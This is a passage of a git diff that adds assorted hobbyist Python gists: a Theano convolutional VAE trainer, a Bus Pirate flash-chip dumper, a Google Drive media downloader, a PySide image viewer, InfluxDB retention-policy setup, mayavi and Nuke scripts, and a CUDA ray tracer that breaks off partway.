+        U, S, VT = svd(np.dot(X.T, X) / n_samples, full_matrices=False)
+        components = np.dot(VT.T * np.sqrt(1.0 / (S + self.bias)), VT)
+        self.covar_ = np.dot(X.T, X)
+        self.components_ = components[:self.n_components]
+        return self
+
+    def transform(self, X):
+        if self.copy:
+            X = np.array(X, copy=self.copy)
+            X = np.copy(X)
+        X /= self.scale_by
+        X -= self.mean_
+        X_transformed = np.dot(X, self.components_.T)
+        return X_transformed
+
+class ConvVAE(PickleMixin):
+    def __init__(self, image_save_root=None, snapshot_file="snapshot.pkl"):
+        self.srng = RandomStreams()
+        self.n_code = 512
+        self.n_hidden = 2048
+        self.n_batch = 128
+        self.costs_ = []
+        self.epoch_ = 0
+        self.snapshot_file = snapshot_file
+        self.image_save_root = image_save_root
+        if os.path.exists(self.snapshot_file):
+            print("Loading from saved snapshot " + self.snapshot_file)
+            f = open(self.snapshot_file, 'rb')
+            classifier = cPickle.load(f)
+            self.__setstate__(classifier.__dict__)
+            f.close()
+
+    def _setup_functions(self, trX):
+        l1_e = (64, trX.shape[1], 5, 5)
+        print("l1_e", l1_e)
+        l1_d = (l1_e[1], l1_e[0], l1_e[2], l1_e[3])
+        print("l1_d", l1_d)
+        l2_e = (128, l1_e[0], 5, 5)
+        print("l2_e", l2_e)
+        l2_d = (l2_e[1], l2_e[0], l2_e[2], l2_e[3])
+        print("l2_d", l2_d)
+        # 2 layers means downsample by 2 ** 2 -> 4, with input size 28x28 -> 7x7
+        # assume square
+        self.downpool_sz = trX.shape[-1] // 4
+        l3_e = (l2_e[0] * self.downpool_sz * self.downpool_sz,
+                self.n_hidden)
+        print("l3_e", l3_e)
+        l3_d = (l3_e[1], l3_e[0])
+        print("l4_d", l3_d)
+
+        if not hasattr(self, "params"):
+            print('generating weights')
+            we = uniform(l1_e)
+            w2e = uniform(l2_e)
+            w3e = uniform(l3_e)
+            b3e = shared0s(self.n_hidden)
+            wmu = uniform((self.n_hidden, self.n_code))
+            bmu = shared0s(self.n_code)
+            wsigma = uniform((self.n_hidden, self.n_code))
+            bsigma = shared0s(self.n_code)
+
+            wd = uniform((self.n_code, self.n_hidden))
+            bd = shared0s((self.n_hidden))
+            w2d = uniform(l3_d)
+            b2d = shared0s((l3_d[1]))
+            w3d = uniform(l2_d)
+            wo = uniform(l1_d)
+            self.enc_params = [we, w2e, w3e, b3e, wmu, bmu, wsigma, bsigma]
+            self.dec_params = [wd, bd, w2d, b2d, w3d, wo]
+            self.params = self.enc_params + self.dec_params
+
+        print('theano code')
+
+        X = T.tensor4()
+        e = T.matrix()
+        Z_in = T.matrix()
+
+        code_mu, code_log_sigma, Z, y = self._model(X, e)
+
+        y_out = self._deconv_dec(Z_in, *self.dec_params)
+
+        #rec_cost = T.sum(T.abs_(X - y))
+        rec_cost = T.sum(T.sqr(X - y)) # / T.cast(X.shape[0], 'float32')
+        prior_cost = log_prior(code_mu, code_log_sigma)
+
+        cost = rec_cost - prior_cost
+
+        print('getting updates')
+
+        updates = Adam(self.params, cost)
+
+        print('compiling')
+        self._fit_function = theano.function([X, e], cost, updates=updates)
+        self._reconstruct = theano.function([X, e], y)
+        self._x_given_z = theano.function([Z_in], y_out)
+        self._z_given_x = theano.function([X], (code_mu, code_log_sigma))
+
+    def _conv_gaussian_enc(self, X, w, w2, w3, b3, wmu, bmu, wsigma, bsigma):
+        h = conv_and_pool(X, w)
+        h2 = conv_and_pool(h, w2)
+        h2 = h2.reshape((h2.shape[0], -1))
+        h3 = T.tanh(T.dot(h2, w3) + b3)
+        mu = T.dot(h3, wmu) + bmu
+        log_sigma = 0.5 * (T.dot(h3, wsigma) + bsigma)
+        return mu, log_sigma
+
+    def _deconv_dec(self, X, w, b, w2, b2, w3, wo):
+        h = rectify(T.dot(X, w) + b)
+        h2 = rectify(T.dot(h, w2) + b2)
+        #h2 = h2.reshape((h2.shape[0], 256, 8, 8))
+        # Referencing things outside function scope... will have to be class
+        # variable
+        h2 = h2.reshape((h2.shape[0], w3.shape[1], self.downpool_sz,
+                        self.downpool_sz))
+        h3 = deconv_and_depool(h2, w3)
+        y = deconv_and_depool(h3, wo, activation=hard_tanh)
+        return y
+
+    def _model(self, X, e):
+        code_mu, code_log_sigma = self._conv_gaussian_enc(X, *self.enc_params)
+        Z = code_mu + T.exp(code_log_sigma) * e
+        y = self._deconv_dec(Z, *self.dec_params)
+        return code_mu, code_log_sigma, Z, y
+
+    def fit(self, trX):
+        if not hasattr(self, "_fit_function"):
+            self._setup_functions(trX)
+
+        xs = floatX(np.random.randn(100, self.n_code))
+        print('TRAINING')
+        x_rec = floatX(shuffle(trX)[:100])
+        t = time()
+        n = 0.
+        epochs = 1000
+        for e in range(epochs):
+            for xmb in iter_data(trX, size=self.n_batch):
+                xmb = floatX(xmb)
+                cost = self._fit_function(xmb, floatX(
+                    np.random.randn(xmb.shape[0], self.n_code)))
+                self.costs_.append(cost)
+                n += xmb.shape[0]
+            print("Train iter", e)
+            print("Total iters run", self.epoch_)
+            print("Cost", cost)
+            print("Mean cost", np.mean(self.costs_))
+            print("Time", n / (time() - t))
+            self.epoch_ += 1
+
+            if e % 5 == 0:
+                print("Saving model snapshot")
+                f = open(self.snapshot_file, 'wb')
+                cPickle.dump(self, f, protocol=2)
+                f.close()
+
+            def tf(x):
+                return ((x + 1.) / 2.).transpose(1, 2, 0)
+
+            if e == epochs or e % 100 == 0:
+                if self.image_save_root is None:
+                    image_save_root = os.path.split(__file__)[0]
+                else:
+                    image_save_root = self.image_save_root
+                samples_path = os.path.join(
+                    image_save_root, "sample_images_epoch_%d" % self.epoch_)
+                if not os.path.exists(samples_path):
+                    os.makedirs(samples_path)
+
+                samples = self._x_given_z(xs)
+                recs = self._reconstruct(x_rec, floatX(
+                    np.ones((x_rec.shape[0], self.n_code))))
+                if trX.shape[1] == 3:
+                    img1 = color_grid_vis(x_rec,
+                                        transform=tf, show=False)
+                    img2 = color_grid_vis(recs,
+                                        transform=tf, show=False)
+                    img3 = color_grid_vis(samples,
+                                        transform=tf, show=False)
+                elif trX.shape[1] == 1:
+                    img1 = bw_grid_vis(x_rec, show=False)
+                    img2 = bw_grid_vis(recs, show=False)
+                    img3 = bw_grid_vis(samples, show=False)
+
+                imsave(os.path.join(samples_path, 'source.png'), img1)
+                imsave(os.path.join(samples_path, 'recs.png'), img2)
+                imsave(os.path.join(samples_path, 'samples.png'), img3)
+
+                paths = make_paths(self.n_code, 3)
+                for i in range(paths.shape[1]):
+                    path_samples = self._x_given_z(floatX(paths[:, i, :]))
+                    for j, sample in enumerate(path_samples):
+                        if trX.shape[1] == 3:
+                            imsave(os.path.join(
+                                samples_path, 'paths_%d_%d.png' % (i, j)),
+                                tf(sample))
+                        else:
+                            imsave(os.path.join(samples_path,
+                                                'paths_%d_%d.png' % (i, j)),
+                                sample.squeeze())
+
+    def transform(self, x_rec):
+                recs = self._reconstruct(x_rec, floatX(
+                    np.ones((x_rec.shape[0], self.n_code))))
+                return recs
+
+    def encode(self, X, e=None):
+        if e is None:
+            e = np.ones((X.shape[0], self.n_code))
+        return self._z_given_x(X, e)
+
+    def decode(self, Z):
+        return self._z_given_x(Z)
+
+if __name__ == "__main__":
+    # lfw is (9164, 3, 64, 64)
+    #trX, _, _, _ = lfw(n_imgs='all', flatten=False, npx=32)
+    #tf = ConvVAE(snapshot_file="lfw_snapshot.pkl")
+    #trX = floatX(trX)
+
+    #trX, trY = cifar10()
+    #tf = ConvVAE(snapshot_file="cifar_snapshot.pkl")
+    #zca = ZCA()
+    #old_shape = trX.shape
+    #trX = zca.fit_transform(trX.reshape(len(trX), -1))
+    #trX = trX.reshape(old_shape)
+    #trX = floatX(trX)
+
+    tr, _, _, = mnist()
+    trX, trY = tr
+    tf = ConvVAE(image_save_root="/Tmp/kastner",
+                 snapshot_file="/Tmp/kastner/mnist_snapshot.pkl")
+    trX = floatX(trX)
+
+    tf.fit(trX)
+    recs = tf.transform(trX[:100])
diff --git a/hard-gists/f3fc4537fac67a0f2df2/._snippet.py b/hard-gists/f3fc4537fac67a0f2df2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f3fc4537fac67a0f2df2/._snippet.py differ
diff --git a/hard-gists/f3fc4537fac67a0f2df2/snippet.py b/hard-gists/f3fc4537fac67a0f2df2/snippet.py
new file mode 100644
index 00000000..3419953a
--- /dev/null
+++ b/hard-gists/f3fc4537fac67a0f2df2/snippet.py
@@ -0,0 +1,78 @@
+#!/usr/bin/env python
+
+# dump the contents of an atmel AT45DB041B flash part to 'data.bin'
+
+# usage: ./dump_AT45DB041B.py /dev/ttyUSB0
+
+# tested w/ https://github.com/audiohacked/pyBusPirate ac19e00b53, Bus Pirate Hardware labelled v3.6, Firmware: "Bus Pirate v3b, Firmware v5.10 (r559), Bootloader v4.4"
+
+# bugs: slow. as in... dozens of hours :/
+
+# note: flashrom may support this chip, i did this as a learning exercise.
+
+# reference:
+#  http://dangerousprototypes.com/docs/AT45DB041D_4Mbit_flash_memory (note -B model lacks chip ID query feature)
+#  https://github.com/mysmartgrid/hexasense/wiki/AT45-Data-Flash
+#  http://dangerousprototypes.com/docs/SPI_(binary)
+#  http://www.atmel.com/images/doc3443.pdf
+
+import sys
+from pyBusPirate.BinaryMode.SPI import *
+def main(argv=None):
+
+	f=open('data.bin', 'wb')
+	spi = SPI(sys.argv[1], 115200)
+	print "Entering binmode: ",
+	if spi.BBmode():
+		print "OK."
+	else:
+		print "failed."
+		sys.exit()
+
+	print "Entering raw SPI mode: ",
+	if spi.enter_SPI():
+		print "OK."
+	else:
+		print "failed."
+		sys.exit()
+		
+	print "Configuring SPI."
+	if not spi.cfg_pins(PinCfg.POWER | PinCfg.CS):
+		print "Failed to set SPI peripherals."
+		sys.exit()
+	if not spi.set_speed(SPISpeed._8MHZ): # AT45DB041B has 20mhz max clock freq
+		print "Failed to set SPI Speed."
+		sys.exit()
+	if not spi.cfg_spi(SPICfg.CLK_EDGE | SPICfg.OUT_TYPE):
+		print "Failed to set SPI configuration.";
+		sys.exit()
+	spi.timeout(0.1)
+	
+	print "Reading Status register (should be 0x9C). See section 5.1.4 'Status Register Read' in the datasheet."
+	spi.CS_Low()
+	d=spi.bulk_trans(2, [0xD7,0x00])
+	spi.CS_High()
+	print "%02X\n" % ord(d[1])
+
+	print "Reading first n bytes of flash. See section 5.1.1 'Continuous Array Read' in the datasheet."
+	spi.CS_Low()
+	spi.bulk_trans(8, [0xE8,0x00,0x00,0x00,0x00,0x00,0x00,0x00])
+	for i in range(33792): # 4325376/8==540672 bytes. 540672/264==2048 pages. 540672/16==33792 16-byte reads
+		d=spi.bulk_trans(16, [0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00])
+		f.write(d)
+		for each in d:
+			print "%02X " % ord(each),
+	spi.CS_High()
+	f.close()
+	print "\n"
+
+	print "Reset Bus Pirate to user terminal: ",
+	if spi.resetBP():
+		print "OK."
+	else:
+		print "failed."
+		sys.exit()
+		
+
+if __name__ == '__main__':
+	sys.exit(main())
diff --git a/hard-gists/f435aa0ccd498b0840d2407d599bf31d/._snippet.py b/hard-gists/f435aa0ccd498b0840d2407d599bf31d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f435aa0ccd498b0840d2407d599bf31d/._snippet.py differ
diff --git a/hard-gists/f435aa0ccd498b0840d2407d599bf31d/snippet.py b/hard-gists/f435aa0ccd498b0840d2407d599bf31d/snippet.py
new file mode 100644
index 00000000..2400f7fb
--- /dev/null
+++ b/hard-gists/f435aa0ccd498b0840d2407d599bf31d/snippet.py
@@ -0,0 +1,105 @@
+# -*- encoding: UTF-8 -*-
+
+import os
+import httplib2
+
+# pip install --upgrade google-api-python-client
+from oauth2client.file import Storage
+from googleapiclient.discovery import build
+from oauth2client.client import OAuth2WebServerFlow
+
+import time, shutil, sys
+
+# Copy your credentials from the console
+# https://console.developers.google.com
+CLIENT_ID = ''
+CLIENT_SECRET = ''
+OUT_PATH = '' # Output Path
+
+
+
+OAUTH_SCOPE = 'https://www.googleapis.com/auth/drive'
+REDIRECT_URI = 'urn:ietf:wg:oauth:2.0:oob'
+CREDS_FILE = os.path.join(os.path.dirname(__file__), 'credentials.json')
+
+if not os.path.exists(OUT_PATH):
+    os.makedirs(OUT_PATH)
+
+storage = Storage(CREDS_FILE)
+credentials = storage.get()
+
+if credentials is None:
+    # Run through the OAuth flow and retrieve credentials
+    flow = OAuth2WebServerFlow(CLIENT_ID, CLIENT_SECRET, OAUTH_SCOPE, REDIRECT_URI)
+    authorize_url = flow.step1_get_authorize_url()
+    print('Go to the following link in your browser: ' + authorize_url)
+    code = raw_input('Enter verification code: ').strip()
+    credentials = flow.step2_exchange(code)
+    storage.put(credentials)
+
+
+# Create an httplib2.Http object and authorize it with our credentials
+http = httplib2.Http()
+http = credentials.authorize(http)
+
+drive_service = build('drive', 'v2', http=http)
+
+def list_files(service):
+    page_token = None
+    while True:
+        param = {}
+        if page_token:
+            param['pageToken'] = page_token
+
+        files = service.files().list(**param).execute()
+        for item in files['items']:
+            yield item
+        page_token = files.get('nextPageToken')
+        if not page_token:
+            break
+
+
+for item in list_files(drive_service):
+    if (item.get('mimeType') == 'image/jpeg' or item.get('mimeType') == 'video/mp4') \
+            and (item.get('originalFilename').endswith(('.jpg', '.mp4'))):
+        try:
+            video_path = OUT_PATH + "\\" + "Video"
+            if not os.path.isdir(video_path):
+                os.mkdir(video_path)
+            picture_path = OUT_PATH + "\\" + "Pictures"
+            if not os.path.isdir(picture_path):
+                os.mkdir(picture_path)
+
+            if item.get('mimeType') == 'image/jpeg' and item.get('originalFilename').endswith('.jpg'):
+                year_date = picture_path + "\\" + item['createdDate'][:4]
+            elif item.get('mimeType') == 'video/mp4' and item.get('originalFilename').endswith('.mp4'):
+                year_date = video_path + "\\" + item['createdDate'][:4]
+
+            md_date = year_date + "\\" + item['createdDate'][5:10]
+
+            if not os.path.isdir(year_date):
+                os.mkdir(year_date)
+            if not os.path.isdir(md_date):
+                os.mkdir(md_date)
+            outfile = os.path.join(md_date, '%s' % item['title'])
+            download_url = None
+            if 'mimeType' in item and 'image/jpeg' in item['mimeType'] or 'video/mp4' in item['mimeType']:
+                download_url = item['downloadUrl']
+            else:
+                print 'ERROR getting %s' % item.get('title')
+                print item
+                print dir(item)
+            if download_url:
+                print "downloading %s" % item.get('title')
+                resp, content = drive_service._http.request(download_url)
+                if resp.status == 200:
+                    if os.path.isfile(outfile):
+                        print("ERROR, %s already exist" % outfile)
+                    else:
+                        with open(outfile, 'wb') as f:
+                            f.write(content)
+                        print("OK.")
+                else:
+                    print('ERROR downloading %s' % item.get('title'))
+        except Exception as e:
+            print(e)
diff --git a/hard-gists/f45de3bbabbcacd3ca29/._snippet.py b/hard-gists/f45de3bbabbcacd3ca29/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f45de3bbabbcacd3ca29/._snippet.py differ
diff --git a/hard-gists/f45de3bbabbcacd3ca29/snippet.py b/hard-gists/f45de3bbabbcacd3ca29/snippet.py
new file mode 100644
index 00000000..a734e5eb
--- /dev/null
+++ b/hard-gists/f45de3bbabbcacd3ca29/snippet.py
@@ -0,0 +1,126 @@
+
+"""
+
+A simple example pyside app that demonstrates dragging and dropping
+of files onto a GUI. 
+
+- This app allows dragging and dropping of an image file 
+that this then displayed in the GUI
+- Alternatively an image can be loaded using the button
+- This app includes a workaround for using pyside for dragging and dropping
+with OSx
+- This app should work on Linux, Windows and OSx
+
+"""
+
+from __future__ import division, unicode_literals, print_function, absolute_import
+
+from PySide import QtGui, QtCore
+import sys
+import platform
+
+# Use NSURL as a workaround to pyside/Qt4 behaviour for dragging and dropping on OSx
+op_sys = platform.system()
+if op_sys == 'Darwin':
+    from Foundation import NSURL
+
+
+class MainWindowWidget(QtGui.QWidget):
+    """
+    Subclass the widget and add a button to load images. 
+    
+    Alternatively set up dragging and dropping of image files onto the widget
+    """
+
+    def __init__(self):
+        super(MainWindowWidget, self).__init__()
+
+        # Button that allows loading of images
+        self.load_button = QtGui.QPushButton("Load image")
+        self.load_button.clicked.connect(self.load_image_but)
+
+        # Image viewing region
+        self.lbl = QtGui.QLabel(self)
+
+        # A horizontal layout to include the button on the left
+        layout_button = QtGui.QHBoxLayout()
+        layout_button.addWidget(self.load_button)
+        layout_button.addStretch()
+
+        # A Vertical layout to include the button layout and then the image
+        layout = QtGui.QVBoxLayout()
+        layout.addLayout(layout_button)
+        layout.addWidget(self.lbl)
+
+        self.setLayout(layout)
+
+        # Enable dragging and dropping onto the GUI
+        self.setAcceptDrops(True)
+
+        self.show()
+
+    def load_image_but(self):
+        """
+        Open a File dialog when the button is pressed
+
+        :return:
+        """
+        
+        #Get the file location
+        self.fname, _ = QtGui.QFileDialog.getOpenFileName(self, 'Open file')
+        # Load the image from the location
+        self.load_image()
+
+    def load_image(self):
+        """
+        Set the image to the pixmap
+
+        :return:
+        """
+        pixmap = QtGui.QPixmap(self.fname)
+        pixmap = pixmap.scaled(500, 500, QtCore.Qt.KeepAspectRatio)
+        self.lbl.setPixmap(pixmap)
+
+    # The following three methods set up dragging and dropping for the app
+    def dragEnterEvent(self, e):
+        if e.mimeData().hasUrls:
+            e.accept()
+        else:
+            e.ignore()
+
+    def dragMoveEvent(self, e):
+        if e.mimeData().hasUrls:
+            e.accept()
+        else:
+            e.ignore()
+
+    def dropEvent(self, e):
+        """
+        Drop files directly onto the widget
+
+        File locations are stored in fname
+        :param e:
+        :return:
+        """
+        if e.mimeData().hasUrls:
+            e.setDropAction(QtCore.Qt.CopyAction)
+            e.accept()
+            # Workaround for OSx dragging and dropping
+            for url in e.mimeData().urls():
+                if op_sys == 'Darwin':
+                    fname = str(NSURL.URLWithString_(str(url.toString())).filePathURL().path())
+                else:
+                    fname = str(url.toLocalFile())
+
+            self.fname = fname
+            self.load_image()
+        else:
+            e.ignore()
+
+# Run if called directly
+if __name__ == '__main__':
+    # Initialise the application
+    app = QtGui.QApplication(sys.argv)
+    # Call the widget
+    ex = MainWindowWidget()
+    sys.exit(app.exec_())
\ No newline at end of file
diff --git a/hard-gists/f4b6f5c8f6c2a51c3f60/._snippet.py b/hard-gists/f4b6f5c8f6c2a51c3f60/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f4b6f5c8f6c2a51c3f60/._snippet.py differ
diff --git a/hard-gists/f4b6f5c8f6c2a51c3f60/snippet.py b/hard-gists/f4b6f5c8f6c2a51c3f60/snippet.py
new file mode 100644
index 00000000..87345c58
--- /dev/null
+++ b/hard-gists/f4b6f5c8f6c2a51c3f60/snippet.py
@@ -0,0 +1,50 @@
+#!/usr/bin/env python
+
+from influxdb import InfluxDBClusterClient
+
+influx_host = "127.0.0.1"
+influx_port = 8086
+influx_user = "user"
+influx_pass = "pass"
+database = "example"
+
+influx_timeout = 10
+c.influx_max_metrics = 40
+c.influx = InfluxDBClusterClient(
+             [(influx_host,influx_port)],
+             influx_user, influx_pass,
+             database, timeout = influx_timeout)
+
+
+query = c.influx.query("SHOW FIELD KEYS")
+values = []
+
+for key,items in query.items():
+    for i in list(items):
+        values.append(i["fieldKey"])
+
+# String of all mean(values)
+# Set makes a uniq list
+cq_values = ",".join(map(lambda v: 'mean("%s") AS "%s"' % (v,v), set(values)))
+
+cq_query = 'CREATE CONTINUOUS QUERY {cq_name} ON {database} BEGIN SELECT {cq_values} INTO {database}."rp_{rp}".:MEASUREMENT FROM {database}."{query}"./.*/ GROUP BY time({rp}), * END'
+
+schema = [
+        {"rp": "10s", "duration":"2h","query":"default"},
+        {"rp": "30s", "duration":"6h","query":"default"},
+        {"rp": "1m", "duration":"24h","query":"10s"},
+        {"rp": "5m", "duration":"48h","query":"30s"},
+        {"rp": "30m", "duration":"7d","query":"5m"},
+        {"rp": "1h", "duration":"31d","query":"5m"},
+        {"rp": "3h", "duration":"93d","query":"5m"},
+        {"rp": "12h", "duration":"370d","query":"1h"},
+        {"rp": "24h", "duration":"inf","query":"1h"}
+         ]
+
+for s in schema:
+    # Create retention policies
+    c.influx.create_retention_policy("rp_%s" % s["rp"], s["duration"], "1")
+
+    # Create CQs
+    query = cq_query.format(cq_name="%s_cq_%s" % (database,s["rp"]), database=database, cq_values=cq_values, rp=s["rp"], query=s["query"])
+    c.influx.query(query)
diff --git a/hard-gists/f4cc99efc90c487b6fed/._snippet.py b/hard-gists/f4cc99efc90c487b6fed/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f4cc99efc90c487b6fed/._snippet.py differ
diff --git a/hard-gists/f4cc99efc90c487b6fed/snippet.py b/hard-gists/f4cc99efc90c487b6fed/snippet.py
new file mode 100644
index 00000000..44354616
--- /dev/null
+++ b/hard-gists/f4cc99efc90c487b6fed/snippet.py
@@ -0,0 +1,90 @@
+"""
+Example of overlaying an image on a 3D view with tvtk
+"""
+##
+import mayavi.mlab as mlab
+import numpy as np
+import pylab as pl
+import vtk
+from tvtk.api import tvtk
+##
+fig = mlab.figure()
+scene = fig.scene
+
+#reader = tvtk.PNGReader()
+#reader.file_name = 'img.png'
+#reader.update()
+
+img = pl.imread('img.png')
+# Set alpha for all non-transparent pixels
+img[img[:,:,3] > 0, 3] = 0.5
+img = (img*255).astype(np.uint8)
+img = np.flipud(img).copy()
+
+def image_data_from_array(arr):
+    assert arr.dtype == np.uint8
+    i = tvtk.ImageImport()
+    i.set_data_scalar_type_to_unsigned_char()
+    i.number_of_scalar_components = 4
+    i.whole_extent = (0, arr.shape[1] - 1, 0, arr.shape[0] - 1, 0, 0)
+    i.set_data_extent_to_whole_extent()
+    i.copy_import_void_pointer(arr, arr.nbytes)
+    return i.output
+
+image_data = image_data_from_array(img)
+
+def fit_to(img_width, img_height, target_width, target_height):
+    """
+    Return new dimensions for img such that it fits completely
+    in target_width/target_height
+    Actually returns (new_width, new_height, -1) to be compatible with tvtk
+    """
+    width_factor = target_width / float(img_width)
+    height_factor = target_height / float(img_height)
+    if width_factor < height_factor:
+        return (target_width, width_factor * img_height, -1)
+    else:
+        return (height_factor * img_width, target_height, -1)
+
+imsize = (img.shape[1], img.shape[0])
+#imsize = (reader.output.whole_extent[1], reader.output.whole_extent[3])
+
+resize = tvtk.ImageResize()
+#resize.input = reader.output
+#resize.set_input_data(image_data) in VTK 6
+resize.input = image_data
+resize.resize_method = 'output_dimensions'
+#resize.output_dimensions = (-1, -1, -1)
+#resize.output_dimensions = fit_to(imsize[0], imsize[1], 200, 200)
+
+mapper = tvtk.ImageMapper()
+#mapper.input = reader.output
+#mapper.set_input_data(reader.output) in VTK 6
+mapper.input = resize.output
+mapper.color_window = 255
+mapper.color_level = 127
+
+map_actor = tvtk.Actor2D()
+map_actor.mapper = mapper
+map_actor.position = (0,0)
+# Opacity doesn't seem to be supported, see
+# http://vtk.1045678.n5.nabble.com/Opacity-of-vtkActor2D-td1238026.html
+map_actor.property.opacity = 0.5
+
+renderer = scene.renderer
+renderer.add_actor2d(map_actor)
+
+window = scene.render_window
+
+def fit_image_to_window():
+    resize.output_dimensions = fit_to(imsize[0], imsize[1],
+                                      window.size[0], window.size[1])
+fit_image_to_window()
+def on_window_modified(obj, evt):
+    #print 'window size : ', window.size
+    fit_image_to_window()
+
+window.add_observer('ModifiedEvent', on_window_modified)
+
+mlab.points3d(1,1,1)
+##
\ No newline at end of file
diff --git a/hard-gists/f51df716906be1d8f7337ffa183d32f4/._snippet.py b/hard-gists/f51df716906be1d8f7337ffa183d32f4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f51df716906be1d8f7337ffa183d32f4/._snippet.py differ
diff --git a/hard-gists/f51df716906be1d8f7337ffa183d32f4/snippet.py b/hard-gists/f51df716906be1d8f7337ffa183d32f4/snippet.py
new file mode 100644
index 00000000..b6b333e3
--- /dev/null
+++ b/hard-gists/f51df716906be1d8f7337ffa183d32f4/snippet.py
@@ -0,0 +1,20 @@
+import nuke
+import random
+import nukescripts
+
+def runner():
+    if nuke.thisKnob().name() == 'selected':
+            # RANDOM FOR X
+            random.seed(random.random())
+            randFactX = (random.random()-0.5)
+            # RANDOM FOR Y
+            random.seed(random.random())
+            randFactY = (random.random()-0.5)
+            # RUN AWAY
+            nuke.thisNode().setXpos(nuke.thisNode().xpos()+int(500*randFactX))
+            nuke.thisNode().setYpos(nuke.thisNode().xpos()+int(500*randFactY))
+            # CLEAR SELECTION
+            nukescripts.clear_selection_recursive()
+
+#nuke.removeKnobChanged( runner )
+nuke.addKnobChanged( runner )
\ No newline at end of file
diff --git a/hard-gists/f53bb3e40edbceb38904/._snippet.py b/hard-gists/f53bb3e40edbceb38904/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f53bb3e40edbceb38904/._snippet.py differ
diff --git a/hard-gists/f53bb3e40edbceb38904/snippet.py b/hard-gists/f53bb3e40edbceb38904/snippet.py
new file mode 100644
index 00000000..7d2804c1
--- /dev/null
+++ b/hard-gists/f53bb3e40edbceb38904/snippet.py
@@ -0,0 +1,173 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+"""
+SPHERE SCENE RAY TRACER
+
+This is a basic port of the simple ray tracer from Chapter 6 of
+"CUDA by Example", by Sanders and Kandrot. With a few exceptions
+(notably, the `hit()` method is not bound to a struct containing 
+sphere data and we use a numpy record array).
+
+On my GeForce GTX 750ti, the kernel computes in ~180 microseconds,
+and the entire operation including data transfers takes about 
+100 milliseconds. That's ~0.2x the speed of the pure CUDA 
+implementation.
+
+Author: Daniel Rothenberg <darothen@mit.edu>
+
+"""
+
+import numpy as np
+from math import sqrt
+import matplotlib.pyplot as plt
+
+from numbapro import cuda, int16, float32, from_dtype
+from timeit import default_timer as timer
+
+DIM     = 2048  # domain width, in pixels
+DM      = min([DIM, 1000]) # constraint for sphere locations
+SPHERES = 200   # number of spheres in scene
+INF     = 2e10  # really large number
+VERBOSE = False # print out some debug stuff along the way
+
+# Randomly generate a number between [0, x)
+rnd = lambda x: x*np.random.rand()
+
+# A numpy record array (like a struct) to record sphere data
+Sphere = np.dtype([
+    # RGB color values (floats from [0, 1])
+    ('r', 'f4'),  ('g', 'f4'), ('b', 'f4'), 
+    # sphere radius 
+    ('radius', 'f4'),
+    # sphere (x, y, z) coordinates 
+    ('x', 'f4'),  ('y', 'f4'), ('z', 'f4'),], align=True) 
+Sphere_t = from_dtype(Sphere) # Create a type that numba can recognize!
+
+# We can use that type in our device functions and later the kernel!
+@cuda.jit(restype=float32, argtypes=[float32, float32, Sphere_t], 
+          device=True, inline=False)
+def hit(ox, oy, sph):
+    """ Compute whether a ray parallel to the z-axisoriginating at 
+    (ox, oy, INF) will intersect a given sphere; if so, return the 
+    distance to the surface of the sphere.
+    """
+    dx = ox - sph.x
+    dy = oy - sph.y
+    rad = sph.radius
+    if ( dx*dx + dy*dy < rad*rad ):
+        dz = sqrt( rad*rad - dx*dx - dy*dy )
+        return dz + sph.z
+    else:
+        return -INF
+
+@cuda.jit(argtypes=(Sphere_t[:], int16[:,:,:]))
+def kernel(spheres, bitmap):
+ 
+    x, y = cuda.grid(2) # alias for threadIdx.x + ( blockIdx.x * blockDim.x ),
+                        #           threadIdx.y + ( blockIdx.y * blockDim.y )
+    # shift the grid to [-DIM/2, DIM/2]
+    ox = x - DIM/2
+    oy = y - DIM/2
+
+    r = 0. 
+    g = 0.
+    b = 0.
+    maxz = -INF
+
+    i = 0 # emulate a C-style for-loop, exposing the idx increment logic
+    while (i < SPHERES):
+        t = hit(ox, oy, spheres[i])
+        rad = spheres[i].radius
+
+        if (t > maxz):
+            dz = t - spheres[i].z # t = dz + z; inverting hit() result
+            n = dz / sqrt( rad*rad )
+            fscale = n # shades the color to be darker as we recede from 
+                       # the edge of the cube circumscribing the sphere
+
+            r = spheres[i].r*fscale
+            g = spheres[i].g*fscale
+            b = spheres[i].b*fscale
+            maxz = t
+        i += 1
+
+    # Save the RGBA value for this particular pixel
+    bitmap[x,y,0] = int(r*255.)
+    bitmap[x,y,1] = int(g*255.)
+    bitmap[x,y,2] = int(b*255.)
+    bitmap[x,y,3] = 255
+
+if __name__ == "__main__":
+
+    start = timer()
+
+    # Create a container for the pixel RGBA information of our image
+    bitmap = np.zeros([DIM, DIM, 4], dtype=np.int16)
+   
+    # Copy to device memory 
+    d_bitmap = cuda.to_device(bitmap)
+    # Create empty container for our Sphere data on device
+    d_spheres = cuda.device_array(SPHERES, dtype=Sphere_t)
+
+    # Create an empty container of spheres on host, and populate it
+    # with some random data.
+    temp_spheres = np.empty(SPHERES, dtype=Sphere_t)
+    for i in xrange(SPHERES):
+        temp_spheres[i]['r'] = rnd(1.0)
+        temp_spheres[i]['g'] = rnd(1.0)
+        temp_spheres[i]['b'] = rnd(1.0)
+        temp_spheres[i]['x'] = rnd(DIM) - DIM/2
+        temp_spheres[i]['y'] = rnd(DIM) - DIM/2
+        temp_spheres[i]['z'] = rnd(DIM) - DIM/2
+        temp_spheres[i]['radius'] = rnd(100.0) + 20  
+
+        if VERBOSE:
+            sph = temp_spheres[i]
+            print "Sphere %d" % i
+            print "\t(r,g,b)->(%1.2f,%1.2f,%1.2f)" % (sph['r'], sph['b'], sph['g'])
+            print "\t(x,y,z)->(%4.1f,%4.1f,%4.1f)" % (sph['x'], sph['y'], sph['z'])
+            print "\tradius->%3.1f" % sph['radius']
+    # Copy the sphere data to the device
+    cuda.to_device(temp_spheres, to=d_spheres) 
+
+    # Here, we choose the granularity of the threading on our device. We want
+    # to try to cover the entire image with simulatenous threads, so we'll 
